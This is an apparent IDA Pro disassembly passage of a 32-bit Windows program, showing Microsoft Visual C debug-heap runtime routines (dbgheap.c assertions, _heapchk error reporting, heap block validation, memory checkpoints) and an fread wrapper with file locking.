		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D191
		int	3		; Trap to Debugger

loc_41D191:				; CODE XREF: sub_41D0F0+7Ej
					; sub_41D0F0+9Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D160
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		mov	[ebp+var_20], ecx

loc_41D1A0:				; CODE XREF: sub_41D0F0+107j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_41D1F3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_41D1F3
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_41D1F3
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41D1F3
		push	offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
		push	0		; int
		push	4AFh		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D1F3
		int	3		; Trap to Debugger

loc_41D1F3:				; CODE XREF: sub_41D0F0+BEj
					; sub_41D0F0+C7j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D1A0
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+14h], 2
		jnz	short loc_41D20F
		cmp	[ebp+arg_4], 1
		jnz	short loc_41D20F
		mov	[ebp+arg_4], 2

loc_41D20F:				; CODE XREF: sub_41D0F0+110j
					; sub_41D0F0+116j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+14h], 3
		jz	short loc_41D24A

loc_41D218:				; CODE XREF: sub_41D0F0+158j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		cmp	eax, [ebp+arg_4]
		jz	short loc_41D244
		push	offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse"
		push	0		; int
		push	4B6h		; Value
		push	offset aDbgheap_c ; "dbgheap.c"
		push	2		; int
		call	__CrtDbgReport
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D244
		int	3		; Trap to Debugger

loc_41D244:				; CODE XREF: sub_41D0F0+131j
					; sub_41D0F0+151j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D218

loc_41D24A:				; CODE XREF: sub_41D0F0+126j
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D261
		jmp	short loc_41D26C
sub_41D0F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D261	proc near		; CODE XREF: sub_41D0F0+16Ap
					; DATA XREF: .rdata:0043C930o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_41D261	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D0F0

loc_41D26C:				; CODE XREF: sub_41D0F0+16Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41D0F0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4518F8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4518F8, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000BD BYTES: COLLAPSED FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO	EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41D35D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtSetDbgBlockType. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, off_451CC0
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	off_451CC0, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [00000088 BYTES: COLLAPSED FUNCTION _CheckBytes. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D430	proc near		; CODE XREF: __heap_alloc_dbg:loc_41C1FCp
					; _realloc_help:loc_41C6B2p ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041D7B0 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CAC0
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4518F0
		and	eax, 1
		test	eax, eax
		jnz	short loc_41D469
		mov	eax, 1
		jmp	loc_41D7B3
; ---------------------------------------------------------------------------

loc_41D469:				; CODE XREF: sub_41D430+2Dj
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		call	unknown_libname_6 ; Microsoft VisualC 2-8/net runtime
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	loc_41D58E
		cmp	[ebp+var_24], 0FFFFFFFEh
		jz	loc_41D58E
		mov	ecx, [ebp+var_24]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_30]
		add	edx, 6
		mov	[ebp+var_30], edx
		cmp	[ebp+var_30], 3
		ja	loc_41D55C
		mov	eax, [ebp+var_30]
		jmp	ds:off_41D7C4[eax*4]

loc_41D4B9:				; CODE XREF: sub_41D430+ADj
					; DATA XREF: .text:0041D7D0o
		push	offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n"
		push	offset aS_32	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D4D9
		int	3		; Trap to Debugger

loc_41D4D9:				; CODE XREF: sub_41D430+A6j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D4B9
		jmp	loc_41D582
; ---------------------------------------------------------------------------

loc_41D4E4:				; CODE XREF: sub_41D430+82j
					; sub_41D430+D8j
					; DATA XREF: ...
		push	offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n"
		push	offset aS_32	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D504
		int	3		; Trap to Debugger

loc_41D504:				; CODE XREF: sub_41D430+D1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D4E4
		jmp	short loc_41D582
; ---------------------------------------------------------------------------

loc_41D50C:				; CODE XREF: sub_41D430+82j
					; sub_41D430+100j
					; DATA XREF: ...
		push	offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n"
		push	offset aS_32	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D52C
		int	3		; Trap to Debugger

loc_41D52C:				; CODE XREF: sub_41D430+F9j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D50C
		jmp	short loc_41D582
; ---------------------------------------------------------------------------

loc_41D534:				; CODE XREF: sub_41D430+82j
					; sub_41D430+128j
					; DATA XREF: ...
		push	offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n"
		push	offset aS_32	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D554
		int	3		; Trap to Debugger

loc_41D554:				; CODE XREF: sub_41D430+121j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D534
		jmp	short loc_41D582
; ---------------------------------------------------------------------------

loc_41D55C:				; CODE XREF: sub_41D430+79j
					; sub_41D430+150j
		push	offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"...
		push	offset aS_32	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D57C
		int	3		; Trap to Debugger

loc_41D57C:				; CODE XREF: sub_41D430+149j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D55C

loc_41D582:				; CODE XREF: sub_41D430+AFj
					; sub_41D430+DAj ...
		mov	[ebp+var_1C], 0
		jmp	loc_41D797
; ---------------------------------------------------------------------------

loc_41D58E:				; CODE XREF: sub_41D430+56j
					; sub_41D430+60j
		mov	[ebp+var_1C], 1
		mov	eax, dword_4F34FC
		mov	[ebp+var_20], eax
		jmp	short loc_41D5A7
; ---------------------------------------------------------------------------

loc_41D59F:				; CODE XREF: sub_41D430:loc_41D792j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx

loc_41D5A7:				; CODE XREF: sub_41D430+16Dj
		cmp	[ebp+var_20], 0
		jz	loc_41D797
		mov	[ebp+var_28], 1
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 4
		jz	short loc_41D5EC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 1
		jz	short loc_41D5EC
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		cmp	ecx, 2
		jz	short loc_41D5EC
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 3
		jnz	short loc_41D604

loc_41D5EC:				; CODE XREF: sub_41D430+197j
					; sub_41D430+1A0j ...
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, off_451900[ecx*4]
		mov	dword ptr [ebp+var_2C],	edx
		jmp	short loc_41D60B
; ---------------------------------------------------------------------------

loc_41D604:				; CODE XREF: sub_41D430+1BAj
		mov	dword ptr [ebp+var_2C],	offset aDamaged	; "DAMAGED"

loc_41D60B:				; CODE XREF: sub_41D430+1D2j
		push	4
		mov	al, byte_4518FC
		push	eax
		mov	ecx, [ebp+var_20]
		add	ecx, 1Ch
		push	ecx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D660

loc_41D626:				; CODE XREF: sub_41D430+227j
		mov	edx, [ebp+var_20]
		add	edx, 20h
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+18h]
		push	ecx
		mov	edx, dword ptr [ebp+var_2C]
		push	edx		; char
		push	offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D653
		int	3		; Trap to Debugger

loc_41D653:				; CODE XREF: sub_41D430+220j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D626
		mov	[ebp+var_28], 0

loc_41D660:				; CODE XREF: sub_41D430+1F4j
		push	4
		mov	cl, byte_4518FC
		push	ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+10h]
		mov	ecx, [ebp+var_20]
		lea	edx, [ecx+eax+20h]
		push	edx
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D6BD

loc_41D683:				; CODE XREF: sub_41D430+284j
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, dword ptr [ebp+var_2C]
		push	eax		; char
		push	offset aDamageAfterHsB ; "DAMAGE: after	%hs block (#%d)	at 0x%08X"...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D6B0
		int	3		; Trap to Debugger

loc_41D6B0:				; CODE XREF: sub_41D430+27Dj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_41D683
		mov	[ebp+var_28], 0

loc_41D6BD:				; CODE XREF: sub_41D430+251j
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+14h], 0
		jnz	short loc_41D716
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+10h]
		push	ecx
		mov	dl, byte_4518FD
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		call	_CheckBytes
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D716

loc_41D6E7:				; CODE XREF: sub_41D430+2DDj
		mov	ecx, [ebp+var_20]
		add	ecx, 20h
		push	ecx		; char
		push	offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41D709
		int	3		; Trap to Debugger

loc_41D709:				; CODE XREF: sub_41D430+2D6j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D6E7
		mov	[ebp+var_28], 0

loc_41D716:				; CODE XREF: sub_41D430+294j
					; sub_41D430+2B5j
		cmp	[ebp+var_28], 0
		jnz	short loc_41D792
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+8], 0
		jz	short loc_41D758

loc_41D725:				; CODE XREF: sub_41D430+326j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+8]
		push	ecx
		mov	edx, dword ptr [ebp+var_2C]
		push	edx		; char
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D752
		int	3		; Trap to Debugger

loc_41D752:				; CODE XREF: sub_41D430+31Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D725

loc_41D758:				; CODE XREF: sub_41D430+2F3j
					; sub_41D430+359j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, dword ptr [ebp+var_2C]
		push	ecx		; char
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_41D785
		int	3		; Trap to Debugger

loc_41D785:				; CODE XREF: sub_41D430+352j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D758
		mov	[ebp+var_1C], 0

loc_41D792:				; CODE XREF: sub_41D430+2EAj
		jmp	loc_41D59F
; ---------------------------------------------------------------------------

loc_41D797:				; CODE XREF: sub_41D430+159j
					; sub_41D430+17Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D7A5
		jmp	short loc_41D7B0
sub_41D430	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7A5	proc near		; CODE XREF: sub_41D430+36Ep
					; DATA XREF: .rdata:0043CAC8o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_41D7A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D430

loc_41D7B0:				; CODE XREF: sub_41D430+373j
		mov	eax, [ebp+var_1C]

loc_41D7B3:				; CODE XREF: sub_41D430+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41D430
; ---------------------------------------------------------------------------
off_41D7C4	dd offset loc_41D534	; DATA XREF: sub_41D430+82r
		dd offset loc_41D50C
		dd offset loc_41D4E4
		dd offset loc_41D4B9
		align 10h
; [00000022 BYTES: COLLAPSED FUNCTION __CrtSetDbgFlag. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000008D BYTES: COLLAPSED FUNCTION __CrtDoForAllClientObjects. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41D89D. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtDoForAllClientObjects. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [0000004B BYTES: COLLAPSED FUNCTION __CrtIsValidPointer. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D910	proc near		; CODE XREF: _realloc_help+1AAp
					; sub_41CCE0+9Cp ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D923
		xor	eax, eax
		jmp	loc_41DA30
; ---------------------------------------------------------------------------

loc_41D923:				; CODE XREF: sub_41D910+Aj
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	__CrtIsValidPointer
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D941
		xor	eax, eax
		jmp	loc_41DA30
; ---------------------------------------------------------------------------

loc_41D941:				; CODE XREF: sub_41D910+28j
		cmp	dword_4F3BEC, 3
		jnz	short loc_41D9AE
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	___sbh_find_block
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41D97A
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	___sbh_verify_block
		add	esp, 8
		jmp	loc_41DA30
; ---------------------------------------------------------------------------

loc_41D97A:				; CODE XREF: sub_41D910+50j
		mov	ecx, dword_4F350C
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_41D994
		mov	eax, 1
		jmp	loc_41DA30
; ---------------------------------------------------------------------------

loc_41D994:				; CODE XREF: sub_41D910+78j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, dword_4F3BE8
		push	eax
		call	ds:dword_4F5474	; HeapValidate
		jmp	loc_41DA30
; ---------------------------------------------------------------------------

loc_41D9AE:				; CODE XREF: sub_41D910+38j
		cmp	dword_4F3BEC, 2
		jnz	short loc_41DA1A
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	___sbh_find_block_0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_41D9ED
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_41D9E9
		mov	eax, 1
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41D9E9:				; CODE XREF: sub_41D910+D0j
		xor	eax, eax
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41D9ED:				; CODE XREF: sub_41D910+C5j
		mov	eax, dword_4F350C
		and	eax, 8000h
		test	eax, eax
		jz	short loc_41DA02
		mov	eax, 1
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41DA02:				; CODE XREF: sub_41D910+E9j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		push	0
		mov	edx, dword_4F3BE8
		push	edx
		call	ds:dword_4F5474	; HeapValidate
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------

loc_41DA1A:				; CODE XREF: sub_41D910+A5j
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		push	0
		mov	ecx, dword_4F3BE8
		push	ecx
		call	ds:dword_4F5474	; HeapValidate

loc_41DA30:				; CODE XREF: sub_41D910+Ej
					; sub_41D910+2Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41D910	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000106 BYTES: COLLAPSED FUNCTION __CrtIsMemoryBlock. PRESS	KEYPAD "+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41DB46. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtIsMemoryBlock. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4F4C38
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4F4C38, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB90	proc near		; CODE XREF: __CrtDumpMemoryLeaks+Dp

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041DD23 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43CB38
		push	offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_41DBE4

loc_41DBB9:				; CODE XREF: sub_41DB90+4Dj
		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_32	; "%s"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DBD9
		int	3		; Trap to Debugger

loc_41DBD9:				; CODE XREF: sub_41DB90+46j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DBB9
		jmp	loc_41DD23
; ---------------------------------------------------------------------------

loc_41DBE4:				; CODE XREF: sub_41DB90+27j
		push	9
		call	__lock
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4F34FC
		mov	[ecx], edx
		mov	[ebp+var_1C], 0
		jmp	short loc_41DC12
; ---------------------------------------------------------------------------

loc_41DC09:				; CODE XREF: sub_41DB90+A4j
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax

loc_41DC12:				; CODE XREF: sub_41DB90+77j
		cmp	[ebp+var_1C], 5
		jge	short loc_41DC36
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_41DC09
; ---------------------------------------------------------------------------

loc_41DC36:				; CODE XREF: sub_41DB90+86j
		mov	edx, dword_4F34FC
		mov	dword ptr [ebp+var_20],	edx
		jmp	short loc_41DC49
; ---------------------------------------------------------------------------

loc_41DC41:				; CODE XREF: sub_41DB90:loc_41DCEDj
		mov	eax, dword ptr [ebp+var_20]
		mov	ecx, [eax]
		mov	dword ptr [ebp+var_20],	ecx

loc_41DC49:				; CODE XREF: sub_41DB90+AFj
		cmp	dword ptr [ebp+var_20],	0
		jz	loc_41DCF2
		mov	edx, dword ptr [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_41DCC8
		mov	ecx, dword ptr [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_41DCC8
		mov	eax, dword ptr [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, dword ptr [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, dword ptr [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, dword ptr [ebp+var_20]
		add	edx, [eax+10h]
		mov	ecx, dword ptr [ebp+var_20]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_41DCED
; ---------------------------------------------------------------------------

loc_41DCC8:				; CODE XREF: sub_41DB90+D0j
					; sub_41DB90+E1j ...
		mov	edx, dword ptr [ebp+var_20]
		push	edx		; char
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0		; int
		push	0		; Value
		push	0		; int
		push	0		; int
		call	__CrtDbgReport
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_41DCE7
		int	3		; Trap to Debugger

loc_41DCE7:				; CODE XREF: sub_41DB90+154j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41DCC8

loc_41DCED:				; CODE XREF: sub_41DB90+136j
		jmp	loc_41DC41
; ---------------------------------------------------------------------------

loc_41DCF2:				; CODE XREF: sub_41DB90+BDj
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4F3504
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4F34F8
		mov	[eax+30h], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41DD18
		jmp	short loc_41DD23
sub_41DB90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD18	proc near		; CODE XREF: sub_41DB90+181p
					; DATA XREF: .rdata:0043CB40o
		push	9
		call	__unlock
		add	esp, 4
		retn
sub_41DD18	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41DB90

loc_41DD23:				; CODE XREF: sub_41DB90+4Fj
					; sub_41DB90+186j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41DB90
; ---------------------------------------------------------------------------
		align 10h
; [00000123 BYTES: COLLAPSED FUNCTION __CrtMemDifference. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [000002B1 BYTES: COLLAPSED FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD	"+" TO EXPAND]
; [0000000B BYTES: COLLAPSED FUNCTION sub_41E121. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; [00000037 BYTES: COLLAPSED CHUNK OF FUNCTION __CrtMemDumpAllObjectsSince. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000114 BYTES: COLLAPSED FUNCTION __printMemBlockData. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000074 BYTES: COLLAPSED FUNCTION __CrtDumpMemoryLeaks. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000000C5 BYTES: COLLAPSED FUNCTION __CrtMemDumpStatistics. PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41E3E0(void *DstBuf,size_t ElementSize,size_t	Count,FILE *File)

sub_41E3E0	proc near		; CODE XREF: sub_4010AB+45p
					; sub_40FAB6+4Ep ...

var_4		= dword	ptr -4
DstBuf		= dword	ptr  8
ElementSize	= dword	ptr  0Ch
Count		= dword	ptr  10h
File		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+File]
		push	eax
		call	__lock_file
		add	esp, 4
		mov	ecx, [ebp+File]
		push	ecx		; File
		mov	edx, [ebp+Count]
		push	edx		; Count
		mov	eax, [ebp+ElementSize]
		push	eax		; ElementSize
		mov	ecx, [ebp+DstBuf]
		push	ecx		; DstBuf
		call	_fread
		add	esp, 10h
		mov	[ebp+var_4], eax
		mov	edx, [ebp+File]
		push	edx
		call	__unlock_file
		add	esp, 4
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41E3E0	endp

; ---------------------------------------------------------------------------
		align 10h
; [000001CF BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FC BYTES: COLLAPSED FUNCTION __fsopen.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000017 BYTES: COLLAPSED FUNCTION _fopen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000FE BYTES: COLLAPSED FUNCTION _strncpy.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000FF BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000011 BYTES: COLLAPSED FUNCTION _atoi. PRESS KEYPAD "+" TO EXPAND]
		align 10h
